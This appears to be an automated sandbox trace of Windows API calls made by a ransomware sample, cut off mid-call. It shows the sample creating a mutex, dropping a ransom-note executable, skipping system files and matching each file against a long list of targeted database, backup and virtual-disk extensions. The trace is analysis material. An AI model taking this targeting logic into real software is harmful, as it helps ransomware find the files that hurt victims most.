[0101.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50e8b8 | out: hHeap=0x4f0000) returned 1 [0101.315] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c470 | out: hHeap=0x4f0000) returned 1 [0101.315] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs") returned 69 [0101.315] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\14729E87062DCBDC9EA07FBC99BDBFDB") returned 0xec [0101.315] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0101.315] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs" [0101.315] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0101.315] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\how to back your files.exe"), bFailIfExists=1) returned 0 [0101.316] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0101.316] GetLastError () returned 0x0 [0101.316] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0101.316] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546058 [0101.316] ReadFile (in: hFile=0xf4, lpBuffer=0x546058, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546058*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0101.317] CloseHandle (hObject=0xf4) returned 1 [0101.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546058 | out: hHeap=0x4f0000) returned 1 [0101.317] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0101.317] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4533d4c0, ftCreationTime.dwHighDateTime=0x1d4d30c, ftLastAccessTime.dwLowDateTime=0xc5ce4140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ce4140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0101.317] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.317] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.317] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0101.317] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4533d4c0, ftCreationTime.dwHighDateTime=0x1d4d30c, ftLastAccessTime.dwLowDateTime=0xc5ce4140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc5ce4140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.317] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.318] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.318] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0101.318] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0101.318] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3223e00, ftCreationTime.dwHighDateTime=0x1d4c7e2, ftLastAccessTime.dwLowDateTime=0x6dd4bd70, ftLastAccessTime.dwHighDateTime=0x1d4c765, ftLastWriteTime.dwLowDateTime=0x6dd4bd70, ftLastWriteTime.dwHighDateTime=0x1d4c765, nFileSizeHigh=0x0, nFileSizeLow=0x11e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-6FpG.pptx", cAlternateFileName="-6FPG~1.PPT")) returned 1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2=".") returned 1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="..") returned 1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="windows") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="bootmgr") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="temp") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="pagefile.sys") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="boot") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="ids.txt") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="ntuser.dat") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="perflogs") returned -1 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2="MSBuild") returned -1 [0101.318] lstrlenW (lpString="-6FpG.pptx") returned 10 [0101.318] lstrcpyW (in: lpString1=0x241e8d4, lpString2="-6FpG.pptx" | out: lpString1="-6FpG.pptx") returned="-6FpG.pptx" [0101.318] lstrlenW (lpString="-6FpG.pptx") returned 10 [0101.318] lstrlenW (lpString="Athena865") returned 9 [0101.318] lstrcmpiW (lpString1="6FpG.pptx", lpString2="Athena865") returned -1 [0101.318] lstrlenW (lpString=".dll") returned 4 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2=".dll") returned 1 [0101.318] lstrlenW (lpString=".lnk") returned 4 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2=".lnk") returned 1 [0101.318] lstrlenW (lpString=".ini") returned 4 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2=".ini") returned 1 [0101.318] lstrlenW (lpString=".sys") returned 4 [0101.318] lstrcmpiW (lpString1="-6FpG.pptx", lpString2=".sys") returned 1 [0101.318] lstrlenW (lpString="-6FpG.pptx") returned 10 [0101.319] lstrlenW (lpString="bak") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="bak") returned 1 [0101.319] lstrlenW (lpString="ba_") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="ba_") returned 1 [0101.319] lstrlenW (lpString="dbb") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="dbb") returned 1 [0101.319] lstrlenW (lpString="vmdk") returned 4 [0101.319] lstrcmpiW (lpString1="pptx", lpString2="vmdk") returned -1 [0101.319] lstrlenW (lpString="rar") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="rar") returned -1 [0101.319] lstrlenW (lpString="zip") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="zip") returned -1 [0101.319] lstrlenW (lpString="tgz") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="tgz") returned -1 [0101.319] lstrlenW (lpString="vbox") returned 4 [0101.319] lstrcmpiW (lpString1="pptx", lpString2="vbox") returned -1 [0101.319] lstrlenW (lpString="vdi") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="vdi") returned -1 [0101.319] lstrlenW (lpString="vhd") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="vhd") returned -1 [0101.319] lstrlenW (lpString="vhdx") returned 4 [0101.319] lstrcmpiW (lpString1="pptx", lpString2="vhdx") returned -1 [0101.319] lstrlenW (lpString="avhd") returned 4 [0101.319] lstrcmpiW (lpString1="pptx", lpString2="avhd") returned 1 [0101.319] lstrlenW (lpString="db") returned 2 [0101.319] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0101.319] lstrlenW (lpString="db2") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="db2") returned 1 [0101.319] lstrlenW (lpString="db3") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="db3") returned 1 [0101.319] lstrlenW (lpString="dbf") returned 3 [0101.319] lstrcmpiW (lpString1="ptx", lpString2="dbf") returned 1 [0101.320] lstrlenW (lpString="mdf") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="mdf") returned 1 [0101.320] lstrlenW (lpString="mdb") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="mdb") returned 1 [0101.320] lstrlenW (lpString="sql") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="sql") returned -1 [0101.320] lstrlenW (lpString="sqlite") returned 6 [0101.320] lstrcmpiW (lpString1="G.pptx", lpString2="sqlite") returned -1 [0101.320] lstrlenW (lpString="sqlite3") returned 7 [0101.320] lstrcmpiW (lpString1="pG.pptx", lpString2="sqlite3") returned -1 [0101.320] lstrlenW (lpString="sqlitedb") returned 8 [0101.320] lstrcmpiW (lpString1="FpG.pptx", lpString2="sqlitedb") returned -1 [0101.320] lstrlenW (lpString="xml") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="xml") returned -1 [0101.320] lstrlenW (lpString="$er") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="$er") returned 1 [0101.320] lstrlenW (lpString="4dd") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="4dd") returned 1 [0101.320] lstrlenW (lpString="4dl") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="4dl") returned 1 [0101.320] lstrlenW (lpString="^^^") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="^^^") returned 1 [0101.320] lstrlenW (lpString="abs") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="abs") returned 1 [0101.320] lstrlenW (lpString="abx") returned 3 [0101.320] lstrcmpiW (lpString1="ptx", lpString2="abx") returned 1 [0101.320] lstrlenW (lpString="accdb") returned 5 [0101.320] lstrcmpiW (lpString1=".pptx", lpString2="accdb") returned -1 [0101.320] lstrlenW (lpString="accdc") returned 5 [0101.320] lstrcmpiW (lpString1=".pptx", lpString2="accdc") returned -1 [0101.320] lstrlenW (lpString="accde") returned 5 [0101.320] lstrcmpiW (lpString1=".pptx", lpString2="accde") returned -1 [0101.321] lstrlenW (lpString="accdr") returned 5 [0101.321] lstrcmpiW (lpString1=".pptx", lpString2="accdr") returned -1 [0101.321] lstrlenW (lpString="accdt") returned 5 [0101.321] lstrcmpiW (lpString1=".pptx", lpString2="accdt") returned -1 [0101.321] lstrlenW (lpString="accdw") returned 5 [0101.321] lstrcmpiW (lpString1=".pptx", lpString2="accdw") returned -1 [0101.321] lstrlenW (lpString="accft") returned 5 [0101.321] lstrcmpiW (lpString1=".pptx", lpString2="accft") returned -1 [0101.321] lstrlenW (lpString="adb") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1 [0101.321] lstrlenW (lpString="adb") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="adb") returned 1 [0101.321] lstrlenW (lpString="ade") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="ade") returned 1 [0101.321] lstrlenW (lpString="adf") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="adf") returned 1 [0101.321] lstrlenW (lpString="adn") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="adn") returned 1 [0101.321] lstrlenW (lpString="adp") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="adp") returned 1 [0101.321] lstrlenW (lpString="alf") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="alf") returned 1 [0101.321] lstrlenW (lpString="ask") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="ask") returned 1 [0101.321] lstrlenW (lpString="btr") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="btr") returned 1 [0101.321] lstrlenW (lpString="cat") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="cat") returned 1 [0101.321] lstrlenW (lpString="cdb") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="cdb") returned 1 [0101.321] lstrlenW (lpString="ckp") returned 3 [0101.321] lstrcmpiW (lpString1="ptx", lpString2="ckp") returned 1 [0101.322] lstrlenW (lpString="cma") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="cma") returned 1 [0101.322] lstrlenW (lpString="cpd") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="cpd") returned 1 [0101.322] lstrlenW (lpString="dacpac") returned 6 [0101.322] lstrcmpiW (lpString1="G.pptx", lpString2="dacpac") returned 1 [0101.322] lstrlenW (lpString="dad") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="dad") returned 1 [0101.322] lstrlenW (lpString="dadiagrams") returned 10 [0101.322] lstrlenW (lpString="daschema") returned 8 [0101.322] lstrcmpiW (lpString1="FpG.pptx", lpString2="daschema") returned 1 [0101.322] lstrlenW (lpString="db-journal") returned 10 [0101.322] lstrlenW (lpString="db-shm") returned 6 [0101.322] lstrcmpiW (lpString1="G.pptx", lpString2="db-shm") returned 1 [0101.322] lstrlenW (lpString="db-wal") returned 6 [0101.322] lstrcmpiW (lpString1="G.pptx", lpString2="db-wal") returned 1 [0101.322] lstrlenW (lpString="dbc") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="dbc") returned 1 [0101.322] lstrlenW (lpString="dbs") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="dbs") returned 1 [0101.322] lstrlenW (lpString="dbt") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="dbt") returned 1 [0101.322] lstrlenW (lpString="dbv") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="dbv") returned 1 [0101.322] lstrlenW (lpString="dbx") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="dbx") returned 1 [0101.322] lstrlenW (lpString="dcb") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="dcb") returned 1 [0101.322] lstrlenW (lpString="dct") returned 3 [0101.322] lstrcmpiW (lpString1="ptx", lpString2="dct") returned 1 [0101.322] lstrlenW (lpString="dcx") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="dcx") returned 1 [0101.323] lstrlenW (lpString="ddl") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="ddl") returned 1 [0101.323] lstrlenW (lpString="dlis") returned 4 [0101.323] lstrcmpiW (lpString1="pptx", lpString2="dlis") returned 1 [0101.323] lstrlenW (lpString="dp1") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="dp1") returned 1 [0101.323] lstrlenW (lpString="dqy") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="dqy") returned 1 [0101.323] lstrlenW (lpString="dsk") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="dsk") returned 1 [0101.323] lstrlenW (lpString="dsn") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="dsn") returned 1 [0101.323] lstrlenW (lpString="dtsx") returned 4 [0101.323] lstrcmpiW (lpString1="pptx", lpString2="dtsx") returned 1 [0101.323] lstrlenW (lpString="dxl") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="dxl") returned 1 [0101.323] lstrlenW (lpString="eco") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="eco") returned 1 [0101.323] lstrlenW (lpString="ecx") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="ecx") returned 1 [0101.323] lstrlenW (lpString="edb") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="edb") returned 1 [0101.323] lstrlenW (lpString="epim") returned 4 [0101.323] lstrcmpiW (lpString1="pptx", lpString2="epim") returned 1 [0101.323] lstrlenW (lpString="fcd") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="fcd") returned 1 [0101.323] lstrlenW (lpString="fdb") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="fdb") returned 1 [0101.323] lstrlenW (lpString="fic") returned 3 [0101.323] lstrcmpiW (lpString1="ptx", lpString2="fic") returned 1 [0101.324] lstrlenW (lpString="flexolibrary") returned 12 [0101.324] lstrlenW (lpString="fm5") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="fm5") returned 1 [0101.324] lstrlenW (lpString="fmp") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="fmp") returned 1 [0101.324] lstrlenW (lpString="fmp12") returned 5 [0101.324] lstrcmpiW (lpString1=".pptx", lpString2="fmp12") returned -1 [0101.324] lstrlenW (lpString="fmpsl") returned 5 [0101.324] lstrcmpiW (lpString1=".pptx", lpString2="fmpsl") returned -1 [0101.324] lstrlenW (lpString="fol") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="fol") returned 1 [0101.324] lstrlenW (lpString="fp3") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="fp3") returned 1 [0101.324] lstrlenW (lpString="fp4") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="fp4") returned 1 [0101.324] lstrlenW (lpString="fp5") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="fp5") returned 1 [0101.324] lstrlenW (lpString="fp7") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="fp7") returned 1 [0101.324] lstrlenW (lpString="fpt") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="fpt") returned 1 [0101.324] lstrlenW (lpString="frm") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="frm") returned 1 [0101.324] lstrlenW (lpString="gdb") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1 [0101.324] lstrlenW (lpString="gdb") returned 3 [0101.324] lstrcmpiW (lpString1="ptx", lpString2="gdb") returned 1 [0101.324] lstrlenW (lpString="grdb") returned 4 [0101.325] lstrcmpiW (lpString1="pptx", lpString2="grdb") returned 1 [0101.325] lstrlenW (lpString="gwi") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="gwi") returned 1 [0101.325] lstrlenW (lpString="hdb") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="hdb") returned 1 [0101.325] lstrlenW (lpString="his") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="his") returned 1 [0101.325] lstrlenW (lpString="ib") returned 2 [0101.325] lstrcmpiW (lpString1="tx", lpString2="ib") returned 1 [0101.325] lstrlenW (lpString="idb") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="idb") returned 1 [0101.325] lstrlenW (lpString="ihx") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="ihx") returned 1 [0101.325] lstrlenW (lpString="itdb") returned 4 [0101.325] lstrcmpiW (lpString1="pptx", lpString2="itdb") returned 1 [0101.325] lstrlenW (lpString="itw") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="itw") returned 1 [0101.325] lstrlenW (lpString="jet") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="jet") returned 1 [0101.325] lstrlenW (lpString="jtx") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="jtx") returned 1 [0101.325] lstrlenW (lpString="kdb") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="kdb") returned 1 [0101.325] lstrlenW (lpString="kexi") returned 4 [0101.325] lstrcmpiW (lpString1="pptx", lpString2="kexi") returned 1 [0101.325] lstrlenW (lpString="kexic") returned 5 [0101.325] lstrcmpiW (lpString1=".pptx", lpString2="kexic") returned -1 [0101.325] lstrlenW (lpString="kexis") returned 5 [0101.325] lstrcmpiW (lpString1=".pptx", lpString2="kexis") returned -1 [0101.325] lstrlenW (lpString="lgc") returned 3 [0101.325] lstrcmpiW (lpString1="ptx", lpString2="lgc") returned 1 [0101.326] lstrlenW (lpString="lwx") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="lwx") returned 1 [0101.326] lstrlenW (lpString="maf") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="maf") returned 1 [0101.326] lstrlenW (lpString="maq") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="maq") returned 1 [0101.326] lstrlenW (lpString="mar") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mar") returned 1 [0101.326] lstrlenW (lpString="marshal") returned 7 [0101.326] lstrcmpiW (lpString1="pG.pptx", lpString2="marshal") returned 1 [0101.326] lstrlenW (lpString="mas") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mas") returned 1 [0101.326] lstrlenW (lpString="mav") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mav") returned 1 [0101.326] lstrlenW (lpString="maw") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="maw") returned 1 [0101.326] lstrlenW (lpString="mdbhtml") returned 7 [0101.326] lstrcmpiW (lpString1="pG.pptx", lpString2="mdbhtml") returned 1 [0101.326] lstrlenW (lpString="mdn") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mdn") returned 1 [0101.326] lstrlenW (lpString="mdt") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mdt") returned 1 [0101.326] lstrlenW (lpString="mfd") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mfd") returned 1 [0101.326] lstrlenW (lpString="mpd") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mpd") returned 1 [0101.326] lstrlenW (lpString="mrg") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mrg") returned 1 [0101.326] lstrlenW (lpString="mud") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mud") returned 1 [0101.326] lstrlenW (lpString="mwb") returned 3 [0101.326] lstrcmpiW (lpString1="ptx", lpString2="mwb") returned 1 [0101.327] lstrlenW (lpString="myd") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="myd") returned 1 [0101.327] lstrlenW (lpString="ndf") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="ndf") returned 1 [0101.327] lstrlenW (lpString="nnt") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="nnt") returned 1 [0101.327] lstrlenW (lpString="nrmlib") returned 6 [0101.327] lstrcmpiW (lpString1="G.pptx", lpString2="nrmlib") returned -1 [0101.327] lstrlenW (lpString="ns2") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="ns2") returned 1 [0101.327] lstrlenW (lpString="ns3") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="ns3") returned 1 [0101.327] lstrlenW (lpString="ns4") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="ns4") returned 1 [0101.327] lstrlenW (lpString="nsf") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="nsf") returned 1 [0101.327] lstrlenW (lpString="nv") returned 2 [0101.327] lstrcmpiW (lpString1="tx", lpString2="nv") returned 1 [0101.327] lstrlenW (lpString="nv2") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="nv2") returned 1 [0101.327] lstrlenW (lpString="nwdb") returned 4 [0101.327] lstrcmpiW (lpString1="pptx", lpString2="nwdb") returned 1 [0101.327] lstrlenW (lpString="nyf") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="nyf") returned 1 [0101.327] lstrlenW (lpString="odb") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1 [0101.327] lstrlenW (lpString="odb") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="odb") returned 1 [0101.327] lstrlenW (lpString="oqy") returned 3 [0101.327] lstrcmpiW (lpString1="ptx", lpString2="oqy") returned 1 [0101.328] lstrlenW (lpString="ora") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="ora") returned 1 [0101.328] lstrlenW (lpString="orx") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="orx") returned 1 [0101.328] lstrlenW (lpString="owc") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="owc") returned 1 [0101.328] lstrlenW (lpString="p96") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="p96") returned 1 [0101.328] lstrlenW (lpString="p97") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="p97") returned 1 [0101.328] lstrlenW (lpString="pan") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="pan") returned 1 [0101.328] lstrlenW (lpString="pdb") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="pdb") returned 1 [0101.328] lstrlenW (lpString="pdm") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="pdm") returned 1 [0101.328] lstrlenW (lpString="pnz") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="pnz") returned 1 [0101.328] lstrlenW (lpString="qry") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="qry") returned -1 [0101.328] lstrlenW (lpString="qvd") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="qvd") returned -1 [0101.328] lstrlenW (lpString="rbf") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="rbf") returned -1 [0101.328] lstrlenW (lpString="rctd") returned 4 [0101.328] lstrcmpiW (lpString1="pptx", lpString2="rctd") returned -1 [0101.328] lstrlenW (lpString="rod") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="rod") returned -1 [0101.328] lstrlenW (lpString="rodx") returned 4 [0101.328] lstrcmpiW (lpString1="pptx", lpString2="rodx") returned -1 [0101.328] lstrlenW (lpString="rpd") returned 3 [0101.328] lstrcmpiW (lpString1="ptx", lpString2="rpd") returned -1 [0101.329] lstrlenW (lpString="rsd") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="rsd") returned -1 [0101.329] lstrlenW (lpString="sas7bdat") returned 8 [0101.329] lstrcmpiW (lpString1="FpG.pptx", lpString2="sas7bdat") returned -1 [0101.329] lstrlenW (lpString="sbf") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="sbf") returned -1 [0101.329] lstrlenW (lpString="scx") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="scx") returned -1 [0101.329] lstrlenW (lpString="sdb") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="sdb") returned -1 [0101.329] lstrlenW (lpString="sdc") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="sdc") returned -1 [0101.329] lstrlenW (lpString="sdf") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="sdf") returned -1 [0101.329] lstrlenW (lpString="sis") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="sis") returned -1 [0101.329] lstrlenW (lpString="spq") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="spq") returned -1 [0101.329] lstrlenW (lpString="te") returned 2 [0101.329] lstrcmpiW (lpString1="tx", lpString2="te") returned 1 [0101.329] lstrlenW (lpString="teacher") returned 7 [0101.329] lstrcmpiW (lpString1="pG.pptx", lpString2="teacher") returned -1 [0101.329] lstrlenW (lpString="tmd") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="tmd") returned -1 [0101.329] lstrlenW (lpString="tps") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="tps") returned -1 [0101.329] lstrlenW (lpString="trc") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1 [0101.329] lstrlenW (lpString="trc") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="trc") returned -1 [0101.329] lstrlenW (lpString="trm") returned 3 [0101.329] lstrcmpiW (lpString1="ptx", lpString2="trm") returned -1 [0101.330] lstrlenW (lpString="udb") returned 3 [0101.330] lstrcmpiW (lpString1="ptx", lpString2="udb") returned -1 [0101.330] lstrlenW (lpString="udl") returned 3 [0101.330] lstrcmpiW 